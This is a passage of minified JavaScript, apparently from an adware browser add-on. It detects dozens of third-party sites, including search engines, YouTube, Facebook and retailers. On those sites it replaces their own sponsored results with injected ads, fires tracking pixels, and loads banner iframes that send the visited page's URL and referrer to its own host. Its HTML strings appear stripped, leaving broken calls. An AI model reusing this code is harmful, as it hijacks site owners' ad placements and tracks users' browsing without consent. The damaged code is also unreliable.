jQuery(this).find('.title').html(obj.items[gc].title); jQuery(this).find('.pdurl > a').attr('href', obj.items[gc].url); jQuery(this).find('.pdurl > a').html(obj.items[gc].displayUrl); jQuery(this).find('.pdesc > a').html(obj.items[gc].description); jQuery(this).find('.pdesc > a').attr('href', obj.items[gc].url); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('.SLL > ul[content="SLMS"] > li').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.sllLinkTitle').attr('href', obj.items[gc].url); jQuery(this).find('.title').html(obj.items[gc].title); jQuery(this).find('.pdurl > a').attr('href', obj.items[gc].url); jQuery(this).find('.pdurl > a').html(obj.items[gc].displayUrl); jQuery(this).find('.pdesc > a').html(obj.items[gc].description); jQuery(this).find('.pdesc > a').attr('href', obj.items[gc].url); (new Image()).src = obj.items[gc].pixel; gc++; } }); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '850px'); if(last_sw == "") jQuery('.WOL').prepend(div); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isAsk === true) { var gc = 0; jQuery('#spl_img_top > .spl_ad_plus.ur').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.spl_ad.url.lindp').attr('href', obj.items[gc].url); jQuery(this).find('.splTitle').html(obj.items[gc].title); jQuery(this).find('.txt3.attrib').html(obj.items[gc].displayUrl); jQuery(this).find('.abstract.txt3').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '700px'); if(last_sw == "") jQuery('#csaTop').prepend(div); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isComcast === true) { var gc = 0; jQuery('.sitelink.title').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.adl1').attr('href', obj.items[gc].url); jQuery(this).find('.adl1 > .text').html(obj.items[gc].title); jQuery(this).next().find('.adl2').attr('href', obj.items[gc].url); jQuery(this).next().find('.adl2 > .source').html(obj.items[gc].displayUrl); jQuery(this).next().find('.adl2 > .summary').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '770px'); if(last_sw == "") jQuery('.sponsor-6').prepend(div); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isFoxnews === true) { div.css('width', '624px'); div.insertAfter('.ez-search-sort'); div2.css('width', '624px'); div2.insertAfter('.ez-mainSearch'); } else if(isYelp === true) { var gc = 0; jQuery('.search-results > li.add-search-result').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.biz-name').attr('href', obj.items[gc].url); jQuery(this).find('.biz-name').html(obj.items[gc].title); jQuery(this).find('.category-str-list > a').attr('href', obj.items[gc].url); jQuery(this).find('.category-str-list > a').html(obj.items[gc].displayUrl); jQuery(this).find('.media-story > .snippet').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '630px'); if(last_sw == "") div.insertBefore('.results-wrapper'); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isYoutube === true) { var gc = 0; jQuery('.pyv-afc-ads-inner > div > li.yt-lockup').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.yt-lockup-thumbnail > a').attr('href', obj.items[gc].url); jQuery(this).find('.yt-lockup-title > a').attr('href', obj.items[gc].url); jQuery(this).find('.yt-lockup-title > a').html(obj.items[gc].title); jQuery(this).find('.yt-uix-sessionlink.yt-user-name').attr('href', obj.items[gc].url); jQuery(this).find('.yt-uix-sessionlink.yt-user-name').html(obj.items[gc].displayUrl); jQuery(this).find('.yt-lockup-description').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); setTimeout(function(){ gc = 0; jQuery('#watch-related > .watch-pyv-vid').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('#pyv-watch-related-dest-url').attr('href', obj.items[gc].url); jQuery(this).find('.title').html(obj.items[gc].title); jQuery(this).find('.stat:first').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('#watch-related > .related-list-item').slice(0,3).each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title').html(obj.items[gc].title); jQuery(this).find('.stat:first').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('#watch-related > .related-list-item:last').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title').html(obj.items[gc].title); jQuery(this).find('.stat:first').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); }, 1000); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '628px'); if(last_sw == "") jQuery('#results').prepend(div); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isEtsy === true) { injectShoppingAds(term); div.css('width', '772px'); div.insertBefore('#recent_showcase'); div2.css('width', '772px'); jQuery('#related-searches').prepend(div2); } else if(isPGrabber === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '770px'); jQuery('#product_results').prepend(div); div2.css('width', '770px'); div2.insertAfter('#product_results'); div3.css('width', '770px'); div3.insertAfter('#sw-ads'); div4.css('width', '770px'); div4.insertAfter('#sw-ads-3'); } else if(isBCheapr === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '748px'); jQuery('.google_top').prepend(div); div2.css('width', '748px'); div2.insertAfter('.product-search-result-part'); div3.css('width', '748px'); div3.insertAfter('#sw-ads'); div4.css('width', '748px'); div4.insertAfter('#sw-ads-3'); } else if(isAlibaba === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '850px'); jQuery('#filter-wrap').prepend(div); div2.css('width', '850px'); div2.insertAfter('#list-form'); div3.css('width', '850px'); div3.insertAfter('#sw-ads'); div4.css('width', '850px'); div4.insertAfter('#sw-ads-3'); } else if(isZazzle === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '800px'); jQuery('#page_productsSearch').prepend(div); div2.css('width', '800px'); div2.insertAfter('#page_productsSearch'); div3.css('width', '800px'); div3.insertAfter('#sw-ads'); div4.css('width', '800px'); div4.insertAfter('#sw-ads-3'); } else if(isThefind === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '1000px'); jQuery('#tf_search_results_main').prepend(div); div2.css('width', '1000px'); div2.insertAfter('#tf_search_results_main'); div3.css('width', '1000px'); div3.insertAfter('#sw-ads'); div4.css('width', '1000px'); div4.insertAfter('#sw-ads-3'); } else if(isNStrom === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '760px'); jQuery('#dynamicFilter').prepend(div); div2.css('width', '760px'); div2.insertAfter('.fashion-results'); div3.css('width', '760px'); div3.insertAfter('#sw-ads'); div4.css('width', '760px'); div4.insertAfter('#sw-ads-3'); } else if(isOdepot === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '750px'); jQuery('#m02').prepend(div); div2.css('width', '750px'); div2.insertAfter(''); div3.css('width', '750px'); div3.insertAfter('#sw-ads'); div4.css('width', '750px'); div4.insertAfter('#sw-ads-3'); } else if(isF21 === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '820px'); jQuery('#CenterColumn').prepend(div); div2.css('width', '820px'); div2.insertAfter(''); div3.css('width', '820px'); div3.insertAfter('#sw-ads'); div4.css('width', '820px'); div4.insertAfter('#sw-ads-3'); } else if(isBedbath === true) { div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '800px'); jQuery('#pagTop').prepend(div); div2.css('width', '800px'); div2.insertAfter(''); div3.css('width', '800px'); div3.insertAfter('#sw-ads'); div4.css('width', '800px'); div4.insertAfter('#sw-ads-3'); } else if(isQvc === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '680px'); jQuery('#divContent').prepend(div); div2.css('width', '680px'); div2.insertAfter('#frmProductList'); div3.css('width', '680px'); div3.insertAfter('#sw-ads'); div4.css('width', '680px'); div4.insertAfter('#sw-ads-3'); } else if(isGifts === true) { injectShoppingAds(term); } else if(isDrugstore === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '770px'); jQuery('.SrchMsgOtherSites').prepend(div); div2.css('width', '770px'); div2.insertAfter(''); div3.css('width', '770px'); div3.insertAfter('#sw-ads'); div4.css('width', '770px'); div4.insertAfter('#sw-ads-3'); } else if(is123rf === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '770px'); jQuery('.SrchMsgOtherSites').prepend(div); div2.css('width', '770px'); div2.insertAfter(''); div3.css('width', '770px'); div3.insertAfter('#sw-ads'); div4.css('width', '770px'); div4.insertAfter('#sw-ads-3'); } else if(isGamestop === true) { injectShoppingAds(term); } else if(isBnoble === true) { injectShoppingAds(term); } else if(isZappos === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '760px'); jQuery('#searchResults').prepend(div); div2.css('width', '760px'); div2.insertAfter(''); div3.css('width', '760px'); div3.insertAfter('#sw-ads'); div4.css('width', '760px'); div4.insertAfter('#sw-ads-3'); } else if(isWalgreens === true) { injectShoppingAds(term); } else if(isDell === true) { injectShoppingAds(term); } else if(isCvs === true) { injectShoppingAds(term); } else if(isBizrate === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '1000px'); jQuery('#column2').prepend(div); div2.css('width', '1000px'); div2.insertAfter('#column2'); div3.css('width', '1000px'); div3.insertAfter('#sw-ads'); div4.css('width', '1000px'); div4.insertAfter('#sw-ads-3'); } else if(isNike === true) { injectShoppingAds(term); var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.product-wall > .grid-item').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.grid-item-image > a').attr('href', obj.items[gc].url); jQuery(this).find('.grid-item-info-wrapper > a').attr('href', obj.items[gc].url); jQuery(this).find('.griditem-display-name').html(obj.items[gc].title); jQuery(this).find('.griditem-subtitle').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isWayfair === true) { injectShoppingAds(term); } else if(isEvite === true) { injectShoppingAds(term); } else if(isSamsclub === true) { injectShoppingAds(term); } else if(isVictorias === true) { injectShoppingAds(term); } else if(isDicks === true) { injectShoppingAds(term); } else if(isVista === true) { injectShoppingAds(term); } else if(isCafepress === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '780px'); jQuery('.layout-content').prepend(div); div2.css('width', '780px'); div2.insertAfter(''); div3.css('width', '780px'); div3.insertAfter('#sw-ads'); div4.css('width', '780px'); div4.insertAfter('#sw-ads-3'); } else if(isAe === true) { injectShoppingAds(term); } else if(isHsn === true) { injectShoppingAds(term); } else if(isFootlocker === true) { injectShoppingAds(term); } else if(isLenovo === true) { injectShoppingAds(term); } else if(isSmarter === true) { injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '780px'); div.insertBefore('#adblock1'); div2.css('width', '780px'); div2.insertAfter(''); div3.css('width', '780px'); div3.insertAfter('#sw-ads'); div4.css('width', '780px'); div4.insertAfter('#sw-ads-3'); } else if(isMws === true) { var gc = 0; jQuery('#algo > .algoLinkBox').each(function(){ if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('#algoBox > a').attr('href', obj.items[gc].url); jQuery(this).find('#algoBox > a').html(obj.items[gc].title); jQuery(this).find('.algouri').html(obj.items[gc].displayUrl); jQuery(this).find('.nDesc').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isUps === true) { div.css('width', '540px'); div.insertAfter('.arrow-blue-nav'); } else if(isUsps === true) { div.css('width', '488px'); div.insertBefore('#search-results-tab-content'); div2.css('width', '488px'); div2.insertAfter('#s-results'); } else if(isReference === true) { div.css('width', '445px'); div.insertBefore('#rpane'); div2.css('width', '445px'); div2.insertAfter('.pbk'); } else if(isAtt === true) { div.css('width', '450px'); div.insertBefore('#item1Toggle'); div2.css('width', '445px'); div2.insertBefore('.pagination'); } else if(isIntuit === true) { div.css('width', '590px'); div.insertAfter('#targetSearchContent'); } else if(isRr === true) { div.css('width', '790px'); div.insertBefore('#afsTop'); div2.css('width', '790px'); div2.insertBefore('#pagination'); } else if(isIndeed === true) { div.css('width', '645px'); div.insertAfter('#tjobalerts'); div2.css('width', '645px'); div2.insertBefore('#bjobalerts'); } else if(isUsa === true) { div.css('width', '600px'); div.insertBefore('#search-results-col'); } else if(isWsj === true) { div.css('width', '570px'); div.insertAfter('.spn_links'); div2.css('width', '570px'); div2.insertBefore('.src_resultFooter'); } else if(isDailymail === true) { div.css('width', '636px'); div.insertAfter('.sch-head'); div2.css('width', '636px'); div2.insertBefore('#bing-results'); } else if(isVimeo === true) { var gc = 0; jQuery('ol.browse_videos.browse_videos_thumbnails > li').each(function(){ if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title').html(obj.items[gc].title); jQuery(this).find('.meta > time').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isLatimes === true) { div.css('width', '460px'); div.insertAfter('#adcontainer1'); div2.css('width', '460px'); jQuery('.advPagination').prepend(div2); } else if(isNewegg === true) { injectShoppingAds(term); div.css('width', '960px'); div.insertBefore('#categoryNavTop'); div2.css('width', '960px'); div2.insertAfter('.version600'); } else if(isTmz === true) { div.css('width', '545px'); div.insertBefore('.gsa-wrapper'); div2.css('width', '545px'); div2.insertBefore('.gsa-paging'); } else if(isMyspace === true) { div.css('width', '620px'); div.insertAfter('.summary'); div2.css('width', '620px'); div2.insertAfter('.searchResults'); } else if(isFiverr === true) { div.css('width', '607px'); div.insertAfter('.results-bar'); div2.css('width', '607px'); div2.insertBefore('.coll-wrapper-indx'); } else if(isGo === true) { div.css('width', '472px'); div.insertBefore('.widget_head_search'); } else if(isAllrecipes === true) { div.css('width', '500px'); div.insertAfter('.recipe-details-content'); div.insertAfter('.adContainer'); div2.css('width', '500px'); jQuery('#content-wrapper').append(div2); } else if(isFoxsports === true) { div.css('width', '610px'); div.insertBefore('.ez-mainSearch'); div2.css('width', '610px'); div2.insertAfter('.ez-mainSearch'); } else if(isCbssports === true) { div.css('width', '480px'); div.insertBefore('#docs'); div2.css('width', '480px'); div2.insertAfter('#docs'); } else if(isShopathome === true) { injectShoppingAds(term); div.css('width', '560px'); div.insertBefore('#container2'); div2.css('width', '560px'); jQuery('#tabResults').append(div2); } else if(isSlickdeals === true) { injectShoppingAds(term); div.css('width', '880px'); div.insertBefore('#results_table'); div2.css('width', '880px'); div2.insertAfter('#results_table'); } else if(isVerizon === true) { div.css('width', '810px'); div.insertAfter('#search_top_nav'); div2.css('width', '810px'); div2.insertBefore('#search_bottom_nav'); } else if(isSwest === true) { div.css('width', '545px'); jQuery('#search_results').prepend(div); div2.css('width', '545px'); jQuery('.keymatch_result').append(div2); } else if(isSquidoo === true) { div.css('width', '590px'); div.insertAfter('#searchSort'); div2.css('width', '590px'); jQuery('#search_results').append(div2); } else if(isKohls === true) { injectShoppingAds(term); div.css('width', '580px'); div.insertBefore('.products'); div2.css('width', '580px'); div2.insertAfter('.products'); } else if(isCbuilder === true) { div.css('width', '790px'); div.insertBefore('#JL_D'); div2.css('width', '790px'); div2.insertAfter('#JL_D'); } else if(isPeople === true) { div.css('width', '940px'); jQuery('.resultsMenu').prepend(div); div2.css('width', '950px'); jQuery('#archiveSearchBottom').prepend(div2); } else if(isGoD === true) { div.css('width', '528px'); div.insertBefore('.pad30'); div2.css('width', '528px'); div2.insertAfter('.naturals'); } else if(isGap === true) { div.css('width', '828px'); div.insertAfter('.searchResults'); div2.css('width', '828px'); div2.insertAfter('#searchProductIteration'); } else if(isMonster === true) { div.css('width', '546px'); jQuery('#centerColumn').prepend(div); div2.css('width', '546px'); jQuery('#secondaryResults').append(div2); } else if(isMeetup === true) { div.css('width', '920px'); div.insertAfter('.D_listControls_compact'); div2.css('width', '920px'); div2.insertAfter('#groupListContainer'); } else if(isWebmd === true) { div.css('width', '630px'); div.insertBefore('#Pagination1_PaginationTopDiv'); div2.css('width', '630px'); div2.insertBefore('#Pagination2_PaginationTopDiv'); } else if(isReuters === true) { div.css('width', '620px'); div.insertBefore('.searchLabelRight'); div2.css('width', '620px'); jQuery('.pageNavigation').prepend(div2); } else if(isCa === true) { div.css('width', '555px'); div.insertAfter('.search_pages'); div2.css('width', '555px'); div2.insertAfter('#search_results'); } else if(isNih === true) { div.css('width', '555px'); div.insertAfter('#top-navigation'); div2.css('width', '555px'); div2.insertBefore('#bottom-navigation'); } else if(isIgn === true) { div.css('width', '625px'); div.insertBefore('#adcontainer1'); div2.css('width', '625px'); jQuery('#searchResults').append(div2); } else if(isWpages === true) { div.css('width', '480px'); div.insertAfter('#biz_category_links'); div2.css('width', '480px'); div2.insertBefore('.bottom_pagination_wrap'); } else if(isMlb === true) { div.css('width', '640px'); div.insertBefore('#divSearchResults'); div2.css('width', '640px'); div2.insertBefore('.sch-navigation'); } else if(isRetailmenot === true) { div.css('width', '640px'); div.insertBefore('.js-search-header'); div2.css('width', '640px'); div2.insertAfter('.purple'); } else if(isNydaily === true) { div.css('width', '605px'); div.insertBefore('#results'); div2.css('width', '605px'); div2.insertAfter('#results'); } else if(isDigg === true) { div.css('width', '650px'); div.insertBefore('.stories'); div2.css('width', '650px'); div2.insertAfter('#story-list-container'); } else if(isHubpages === true) { div.css('width', '640px'); div.insertAfter('.sort'); div2.css('width', '640px'); jQuery('#pagination').prepend(div2); } else if(isSresults === true) { div.css('width', '740px'); jQuery('.spl_unshd.ftcLine ').prepend(div); div2.css('width', '740px'); jQuery('#paging').prepend(div2); } else if(isFnetwork === true) { div.css('width', '390px'); div.insertBefore('#results'); div2.css('width', '390px'); div2.insertAfter('#results'); } else if(isElink === true) { div.css('width', '600px'); div.insertAfter('#webResults h2'); div2.css('width', '600px'); div2.insertAfter('#webResults'); } else if(isDM === true) { div.css('width', '610px'); jQuery('#dual_list').prepend(div); div2.css('width', '610px'); div2.insertAfter('#search_results'); } else if(isKayak === true) { div.css('width', '620px'); div.insertAfter('#topOfResultsHeader'); div2.css('width', '620px'); div2.insertAfter('#content_div'); } else if(isSfgate === true) { div.css('width', '450px'); div.insertBefore('#yahooSponsoredLinks'); div2.css('width', '450px'); div2.insertAfter('.results_site'); } else if(isCostco === true) { injectShoppingAds(term); div.css('width', '600px'); div.insertBefore('#SearchedItems1_SearchResultAddtoCart1_ProductList'); div2.css('width', '600px'); div2.insertAfter('#SearchedItems1_SearchResultAddtoCart1_ProductList'); } else if(isHp === true) { div.css('width', '600px'); div.insertAfter('.heading_row'); div2.css('width', '600px'); div2.insertBefore('.footing_row'); } else if(isCBank === true) { div.css('width', '660px'); div.insertAfter('#FastSearchResults'); div2.css('width', '660px'); div2.insertAfter('.appRowGroup.searchNav.searchNavBottom'); } else if(isBberg === true) { div.css('width', '500px'); jQuery('#srp_results').prepend(div); div2.css('width', '500px'); div2.insertBefore('.pagination.clearfix'); } else if(isMwatch === true) { div.css('width', '570px'); jQuery('.block.sponsoredlinkblock.mainline').prepend(div); div2.css('width', '570px'); jQuery('.resultlist').append(div2); } else if(isBabylon === true) { div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '630px'); jQuery('#gRsTopLinks').prepend(div); div2.css('width', '630px'); jQuery('#gRsWeb').append(div2); div3.css('width', '630px'); div3.insertAfter('#sw-ads'); div4.css('width', '630px'); div4.insertAfter('#sw-ads-3'); } else if(isNextag === true) { injectShoppingAds(term); //injectIframeShoppingAds(190, 750, 'pr', 'v', '#search-vertical-container', term); } else return; ads = ''; if (!obj || !obj.items) { for (i = 0; i < 4; i++) { if(i > 0) swAdsBox = "#sw-ads-"+(i+1); else swAdsBox = "#sw-ads"; if(jQuery(swAdsBox).length > 0) jQuery(swAdsBox).remove(); } return; } if ( obj.items.length < 1) { for (i = 0; i < 4; i++) { if(i > 0) swAdsBox = "#sw-ads-"+(i+1); else swAdsBox = "#sw-ads"; if(jQuery(swAdsBox).length > 0) jQuery(swAdsBox).remove(); } return; } if(obj.items.length < 4) { for(i = obj.items.length; i<4; i++) { if(i > 0) swAdsBox = "#sw-ads-"+(i+1); else swAdsBox = "#sw-ads"; if(jQuery(swAdsBox).length > 0) jQuery(swAdsBox).remove(); } } /*if(ad_label != '') { div.html('
'+ad_label+'
'); div2.html('
'+ad_label+'
'); }*/ for(var ij=0; ij<4; ij++) { if(obj.items[ij] && obj.items[ij].title && obj.items[ij].title != '') { title = obj.items[ij].title; redirect = obj.items[ij].url; desc = obj.items[ij].description; adUrl = obj.items[ij].displayUrl; if(ij > 0) contId = "#sw-ads-"+(ij+1); else contId = "#sw-ads"; if(jQuery(contId).length > 0) { injectXmlBox(ij, contId, title, redirect, adUrl, desc); (new Image()).src = obj.items[ij].pixel; } } } } function injectXmlBox(id, containerId, title, redirect, adUrl, desc) { listId = "injectedList"+id; linkId = "injectedLink"+id; urlId = "injectedUrl"+id; descriptionId = "injectedDescription"+id; list = jQuery('
').appendTo(containerId); link = jQuery('').appendTo(list); if(id == 0 && ad_label != '') { if(pageEntity == "google") ad_label_link = "https://www.google.com/intl/en/policies/?fg=1"; else if(pageEntity == "yahoo") ad_label_link = "http://info.yahoo.com/privacy/us/yahoo/search/details.html"; else if(pageEntity == "bing") ad_label_link = "http://www.microsoft.com/privacystatement/en-us/bing/default.aspx"; else if(pageEntity == "ask") ad_label_link = "http://about.ask.com/privacy-policy"; else if(pageEntity == "aol") ad_label_link = "http://privacy.aol.com/"; brand = jQuery('
'+ad_label+'
').appendTo(list); } cite = jQuery('
').appendTo(list); url = jQuery('').appendTo(cite); var description = jQuery('').appendTo(list); list.find('.link') .attr('href', redirect) .attr('rel', adUrl) list.find('#link2') .attr('href', redirect) .attr('rel', adUrl) if(isGoogle === true && (dSites['xml'].indexOf("google,") != -1 || xmlAds == 0)) { var cookieName = "googleSerpAds"; var cookieVal = 1; var values = new Array(); var fts = Math.round((new Date()).getTime() / 1000) + 86400; values.push(cookieVal); values.push(fts); list.find('.link').click(function() { localStorage[cookieName] = values.join(";"); }); list.find('#link2').click(function() { localStorage[cookieName] = values.join(";"); }); } link.html(title); url.html(adUrl); description.html(desc.length > 100 ? desc.slice(0, 100) : desc); list.attr('id', listId); link.attr('id', linkId); url.attr('id', urlId); description.attr('id', descriptionId); } function injectBannerAd(adSize, adPlacement, injectFunc, adAffiliate, adForceSearch, beforeBanner) { if(1) { if(bannerAds == 0 && adSize != '300x250') return; var glBanner = ''; if(adPlacement == 'body') glBanner = '&gb=1'; var adMediaBannerWd = ""; var adMediaBannerHt = ""; var afterBanner = ""; if(beforeBanner != '') afterBanner = ""; if(q_link != '') beforeBanner += "
"; bannersize = adSize.split("x"); adMediaBannerWd = bannersize[0]; adMediaBannerHt = bannersize[1]; grSize = adSize; grBannerWd = adMediaBannerWd; grBannerHt = adMediaBannerHt; if(adSize != "728x90" && adSize != "468x60" && adSize != "300x250" && adSize != "234x60" && adSize != "125x125" && adSize != "120x90" && adSize != "120x60") { grSize = "728x90"; grBannerWd = "728"; grBannerHt = "90"; } if(pageEntity == "facebook") adForceSearch += "&fb=1"; else if(pageEntity == "twitter") adForceSearch += "&tw=1"; else if(httpText == "https") adForceSearch += "&hostDomain="+escape(document.location.href); //bannerHost = '192.168.10.74/adinteractivemedia.com/trunk/banners'; if(injectFunc == "af") { if(vdisplayEn == 1 && adSize == "300x250" && vdisplay == 0 && jQuery(adPlacement).length > 0) { if(pageEntity == "youtube") subid += "&yt=1"; jQuery(beforeBanner+''+afterBanner).insertAfter(adPlacement); vdisplay = 1; return; } jQuery(beforeBanner+''+afterBanner).insertAfter(adPlacement); jQuery('
').insertAfter(adPlacement); } else if(injectFunc == "ap") { if(pageEntity == "facebook") { var biframe = document.createElement('iframe'); biframe.setAttribute('src', httpText+"://"+bannerHost+"/gbanner.php?pid="+placementID+"&d=1&aff="+affiliate+"&size="+adSize+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&pageReferer="+encodeURIComponent(pageReferer)+glBanner); biframe.setAttribute('width', adMediaBannerWd); biframe.setAttribute('height', adMediaBannerHt); biframe.setAttribute('frameborder', 0); biframe.setAttribute('scrolling', 'no'); biframe.setAttribute('class', 'injAmPageBanner'); var bdiv = document.createElement('div'); bdiv.setAttribute('class', 'sw-banner-ads'); bdiv.appendChild(biframe); document.getElementById(adPlacement).appendChild(bdiv); return; } if(vdisplayEn == 1 && adSize == "300x250" && vdisplay == 0 && jQuery(adPlacement).length > 0) { if(pageEntity == "youtube") subid += "&yt=1"; jQuery(adPlacement).append(beforeBanner+''+afterBanner); vdisplay = 1; return; } jQuery(adPlacement).append(beforeBanner+''+afterBanner); jQuery(adPlacement).append('
'); } else if(injectFunc == "be") { if(pageEntity == "facebook") { var biframe = document.createElement('iframe'); biframe.setAttribute('src', httpText+"://"+bannerHost+"/gbanner.php?pid="+placementID+"&d=1&aff="+affiliate+"&size="+adSize+subid+"&pageUrl="+encodeURIComponent(pageUrl)+"&pageReferer="+encodeURIComponent(pageReferer)+glBanner); biframe.setAttribute('width', adMediaBannerWd); biframe.setAttribute('height', adMediaBannerHt); biframe.setAttribute('frameborder', 0); biframe.setAttribute('scrolling', 'no'); biframe.setAttribute('class', 'injAmPageBanner'); var bdiv = document.createElement('div'); bdiv.setAttribute('class', 'sw-banner-ads'); bdiv.setAttribute('style', 'height: '+adMediaBannerHt+'; padding-left: 30px; padding-top: 5px;'); bdiv.appendChild(biframe); //var iframeHTML = beforeBanner+''+afterBanner; //alert(document.getElementById('photos_snowlift').getElementsByClassName(adPlacement)[0]); if(adPlacement == "timeline_tab_content" || adPlacement == "pagelet_vertex_body") { document.getElementById('timeline_tab_content').insertBefore(bdiv, document.getElementById('pagelet_timeline_recent')); } else { document.getElementById('photos_snowlift').getElementsByClassName(adPlacement)[0].insertBefore(bdiv, document.getElementById('photos_snowlift').getElementsByClassName('rhcHeader')[0]); document.getElementById('photos_snowlift').getElementsByClassName('_5ciw rhcFooter')[0].setAttribute('style', 'position: relative;'); } return; } if(vdisplayEn == 1 && adSize == "300x250" && vdisplay == 0 && jQuery(adPlacement).length > 0) { if(pageEntity == "youtube") subid += "&yt=1"; jQuery(beforeBanner+''+afterBanner).insertBefore(adPlacement); vdisplay = 1; return; } jQuery(beforeBanner+''+afterBanner).insertBefore(adPlacement); jQuery('
').insertBefore(adPlacement); } else if(injectFunc == "pr") { if(vdisplayEn == 1 && adSize == "300x250" && vdisplay == 0 && jQuery(adPlacement).length > 0) { if(pageEntity == "youtube") subid += "&yt=1"; jQuery(adPlacement).prepend(beforeBanner+''+afterBanner); vdisplay = 1; return; } jQuery(adPlacement).prepend(beforeBanner+''+afterBanner); jQuery(adPlacement).prepend('
'); } } } function injectGrBanner(adSize, adPlacement, injectFunc) { if(bannerAds == 1) { var adMediaBannerWd = ""; var adMediaBannerHt = ""; bannersize = adSize.split("x"); adMediaBannerWd = bannersize[0]; adMediaBannerHt = bannersize[1]; if(injectFunc == "af") { jQuery('
').insertAfter(adPlacement); } else if(injectFunc == "ap") { jQuery(adPlacement).append('
'); } else if(injectFunc == "be") { jQuery('
').insertBefore(adPlacement); } else if(injectFunc == "pr") { jQuery(adPlacement).prepend('
